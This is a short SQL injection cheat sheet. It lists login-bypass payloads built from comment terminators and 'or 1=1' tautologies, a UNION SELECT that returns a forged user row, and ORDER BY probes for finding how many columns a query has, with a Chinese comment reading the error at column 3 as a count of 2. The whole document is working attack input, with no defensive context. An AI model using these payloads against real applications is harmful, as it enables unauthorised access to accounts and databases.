admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
Order by
1id = 1 Order by 1;2id = 1 Order by 2;3id = 1 Order by 3; # 报错 确定列数为 2
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